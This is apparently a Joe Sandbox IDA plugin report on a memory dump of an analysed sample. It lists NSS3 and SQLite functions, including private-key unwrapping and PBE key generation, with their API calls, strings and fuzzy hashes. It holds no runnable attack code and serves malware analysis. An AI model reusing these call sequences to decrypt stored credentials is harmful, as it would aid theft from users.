PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C637F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C637F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C637F98
PK11_FreeSymKey.NSS3(?), ref: 6C637FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C637FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C638000

Part of subcall function 6C659430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C637F0C,?,00000000,00000000,00000000,?), ref: 6C65943B
Part of subcall function 6C659430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C65946B
Part of subcall function 6C659430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C659546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C638110
PK11_FreeSymKey.NSS3(00000000), ref: 6C63811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C63822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C63823C

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: df5a154f61fb376ecf0a2e0043987d4dba7c136a854d1bdded2f4a7d4592efe0
Instruction ID: fb5bdcb97b33c1b9162c403ed96da4375ac74bbbaf25be9a2fc62e51fc970654
Opcode Fuzzy Hash: df5a154f61fb376ecf0a2e0043987d4dba7c136a854d1bdded2f4a7d4592efe0
Instruction Fuzzy Hash: 9AC162B1D00229DFDB21CF14CC40BEAB7B4AF09308F0095E6E91DA6651E7719E95CF95

Function 6C5AAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31,?,?,?,?,?,?,?), ref: 6C5AB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31), ref: 6C5AB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31), ref: 6C5AB0A2
CloseHandle.KERNEL32(?,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31,?,?,?,?,?,?,?,?,?), ref: 6C5AB100
sqlite3_free.NSS3(?,?,00000002,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31,?,?,?,?,?,?,?), ref: 6C5AB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C6CCF46,?,6C59CDBD,?,6C6CBF31), ref: 6C5AB12D

Part of subcall function 6C599EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5AC6FD,?,?,?,?,6C5FF965,00000000), ref: 6C599F0E
Part of subcall function 6C599EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C5FF965,00000000), ref: 6C599F5D

Strings

`rl, xrefs: 6C5AB0DF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `rl
API String ID: 3155957115-3257465727
Opcode ID: fa8273a5c6aa4c4ea392d131e2ea7256a8631f3188bcb29c43e897f8320b4c0f
Instruction ID: 0df2c72365ff1a83fbbebf446d5d381818cd626483367275736e30399be369b2
Opcode Fuzzy Hash: fa8273a5c6aa4c4ea392d131e2ea7256a8631f3188bcb29c43e897f8320b4c0f
Instruction Fuzzy Hash: F991BFB4A04209CFDB05DFA6CC84A7EB7B1BF49304F144A2DE45697A50E731E846CBA1

Function 6C640EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C640F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C640FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C641006
PK11_FreeSymKey.NSS3(?), ref: 6C64101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C641033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C64103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C641048
memcpy.VCRUNTIME140(?,?,?), ref: 6C64108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6410BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6410D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C64112E

Part of subcall function 6C641570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6408C4,?,?), ref: 6C6415B8
Part of subcall function 6C641570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6408C4,?,?), ref: 6C6415C1
Part of subcall function 6C641570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C64162E
Part of subcall function 6C641570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C641637

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 0ac39275cec5c2f583217dbee689296fa3ef95cfb211ec4ab49d3e4195dc6728
Instruction ID: cd31fef7ac5594fbbfb550d732a8cd8b84b4d396d8de148bc6a9f6a4f201320d
Opcode Fuzzy Hash: 0ac39275cec5c2f583217dbee689296fa3ef95cfb211ec4ab49d3e4195dc6728
Instruction Fuzzy Hash: F171E4B1A00205CFDB00CFA5CD84AAABBB5BF44318F14C629D91997711EB31D964CB89

Function 6C661CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C661F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C662166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C66228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6623B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C66241C

Strings

model, xrefs: 6C6623CB, 6C6623EC
serial, xrefs: 6C6622A2
manufacturer, xrefs: 6C662179
token, xrefs: 6C661F2C

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: e46243eadee831a0ac56ae11f0ebf648ef99a4f5265b384cdc7dcc8430355597
Instruction ID: 4b993c0f1064d016a07c07600cb6cb294556d31701629c2615dfc61314738e79
Opcode Fuzzy Hash: e46243eadee831a0ac56ae11f0ebf648ef99a4f5265b384cdc7dcc8430355597
Instruction Fuzzy Hash: FB02EDB2D0C7886EF7318673C44D3D7ABE49B45328F08166EC69E46E83C3B859498356

Function 6C5A0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C59CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5FF9C9,?,6C5FF4DA,6C5FF9C9,?,?,6C5C369A), ref: 6C59CA7A
Part of subcall function 6C59CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C59CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5A103E
EnterCriticalSection.KERNEL32(?), ref: 6C5A1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5A1190
sqlite3_free.NSS3(00000000), ref: 6C5A1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5A126E
sqlite3_free.NSS3(?), ref: 6C5A127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5A1267
winAccess, xrefs: 6C5A129B
Prl, xrefs: 6C5A109E

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Prl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-2345121856
Opcode ID: 2053e319e9912b49eb0787f9b0abb5312394d312fbefd49322e4cf21c34490e6
Instruction ID: 2e46e61b5625431d7b7eca0fadc96e3084547e9877586ce1271b1c558e866c02
Opcode Fuzzy Hash: 2053e319e9912b49eb0787f9b0abb5312394d312fbefd49322e4cf21c34490e6
Instruction Fuzzy Hash: 8171E331704319DBEB049BA7DC89A6F33B5FF86314F144639E9158BA90DB30D906CBA2

Function 6C666C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C611C6F,00000000,00000004,?,?), ref: 6C666C3F

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C611C6F,00000000,00000004,?,?), ref: 6C666C60
PR_ExplodeTime.NSS3(00000000,6C611C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C611C6F,00000000,00000004,?,?), ref: 6C666C94

Strings

gfff, xrefs: 6C666D66
gfff, xrefs: 6C666D30
gfff, xrefs: 6C666D9C
gfff, xrefs: 6C666CF5
gfff, xrefs: 6C666CFD

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: e2e5b14d9ebd84595d3c89ef1aae24a00e97731c95ecb9d4d5e9f577c7143529
Instruction ID: 140255b47577e2ec93fba3cf2f6cb86a9c4681cc2f51079923edf319a2db0933
Opcode Fuzzy Hash: e2e5b14d9ebd84595d3c89ef1aae24a00e97731c95ecb9d4d5e9f577c7143529
Instruction Fuzzy Hash: EF514A72B016494FC71CCDADDC526DABBDAABE4310F48C23AE442DBB81D638E906C751

Function 6C6E0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C6E1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6E10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E1353

Strings

NULL, xrefs: 6C6E119E
'%.*q', xrefs: 6C6E1217, 6C6E1292
%02x, xrefs: 6C6E12F6
$, xrefs: 6C6E12A0
%lld, xrefs: 6C6E114B
-- , xrefs: 6C6E0FF5
zeroblob(%d), xrefs: 6C6E1223

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 6039e93ce1138bea8c499ffe3227ffce330b3142bb1b441475d18d316f33616f
Instruction ID: a3641569cab367ddffad72f26e4066af05995968e01da459d03f0f4a53eb932c
Opcode Fuzzy Hash: 6039e93ce1138bea8c499ffe3227ffce330b3142bb1b441475d18d316f33616f
Instruction Fuzzy Hash: 65E1BF71A0D340DFD714CF14C880AABBBF1AF8A348F14892EE99587B52E771E845DB46

Function 6C6E8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6E9209

Strings

3333, xrefs: 6C6E925E
UUUU, xrefs: 6C6E9255

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 1c03d9465a7c17c418e491f419585d7545cfe17d793224079eafadf951c0b653
Instruction ID: 2842cce18f61d19f377ce7b6912905fe1eee38842525082a25dcb56d3a4c9665
Opcode Fuzzy Hash: 1c03d9465a7c17c418e491f419585d7545cfe17d793224079eafadf951c0b653
Instruction Fuzzy Hash: 42A1A072E001259BDB04CB69CC84BDEB7B5BF4C328F094179D905A7351E736AC45CBA0

Function 6C67BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C67BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C67BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C67BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C67BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C67BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C67BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C67BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C67BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C67BE1E

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: f870ca60f8f13f60c7a1ed7467212c537954c8bf0fe17d2c6c97d6df12bef189
Instruction ID: c851ab896f6653b0060a704c423fe11cef4d126ea4ede54b7fd08a01f2058e42
Opcode Fuzzy Hash: f870ca60f8f13f60c7a1ed7467212c537954c8bf0fe17d2c6c97d6df12bef189
Instruction Fuzzy Hash: BA21D2B6E0028957FB2046679D43F8B32B49BD278DF080928F916EE741F711941886FE

Function 6C728D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7714E4,6C6DCC70), ref: 6C728D47
PR_GetCurrentThread.NSS3 ref: 6C728D98

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C728E7B
htons.WSOCK32(?), ref: 6C728EDB
PR_GetCurrentThread.NSS3 ref: 6C728F99
PR_GetCurrentThread.NSS3 ref: 6C72910A

Strings

%u.%u.%u.%u, xrefs: 6C728E74

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 8dbcc5da5d8b393753e9436fab9ad060c7103cc97a30918f547c333ed43c0396
Instruction ID: 1982ddae8e85386e511e874bf006cfb9145f32b0d16c3304e04faa149127618e
Opcode Fuzzy Hash: 8dbcc5da5d8b393753e9436fab9ad060c7103cc97a30918f547c333ed43c0396
Instruction Fuzzy Hash: 0802BB329052558FDB18CF1AC568766BBA2EF52344F2DC26ECC915BAD2C33AD909C790

Function 6C5AEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C5AF0A6, 6C5AF2D5
view, xrefs: 6C5AF061, 6C5AF071, 6C5AFAB7
table, xrefs: 6C5AF05C, 6C5AFABC, 6C5AFAC7
there is already an index named %s, xrefs: 6C5AF9D7
not authorized, xrefs: 6C5AF957, 6C5AF9BA
sqlite_master, xrefs: 6C5AF0AB, 6C5AF2DA, 6C5AF757, 6C5AF93E
%s %T already exists, xrefs: 6C5AFAC8
temporary table name must be unqualified, xrefs: 6C5AF734
authorizer malfunction, xrefs: 6C5AF95C, 6C5AF9BF, 6C5AFA5E, 6C5AFA8B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 02f7478375dfdf2631bc1f7202ad5637440815d8443bd37f3801218e535f2495
Instruction ID: 3e0203d7f419b86d5be4a2937124a3a8b85a0d0c674e822c74a269bc86a7e64d
Opcode Fuzzy Hash: 02f7478375dfdf2631bc1f7202ad5637440815d8443bd37f3801218e535f2495
Instruction Fuzzy Hash: 22726F70E042058FDB14CFAAC884BADBBF1FF89308F1582A9D9159B752D775E846CB90

Function 6C6C9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C59C52B), ref: 6C6C9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6CA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6CA114

Strings

%s at line %d of [%.10s], xrefs: 6C6CA02E, 6C6CA10D
database corruption, xrefs: 6C6CA029, 6C6CA108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6CA01F, 6C6CA0E4, 6C6CA0FE

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 4af5dd7e3fd25bfb9b7e3fd376e40ae5c8de3c3885c103a63f9286a1041e8c47
Instruction ID: a463253131742a18d7aae528538bdb1492661ecdf447a6f5b44de1d740603148
Opcode Fuzzy Hash: 4af5dd7e3fd25bfb9b7e3fd376e40ae5c8de3c3885c103a63f9286a1041e8c47
Instruction Fuzzy Hash: C9229A7170C7518FC704CF29C49066AB7E1EF8A348F148A2DE9DA97A42D735E845CB4B

Function 6C6E9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5A8637,?,?), ref: 6C6E9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5A8637), ref: 6C6E9ED6

Strings

%s at line %d of [%.10s], xrefs: 6C6E9ECF
database corruption, xrefs: 6C6E9ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6E9EC0

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
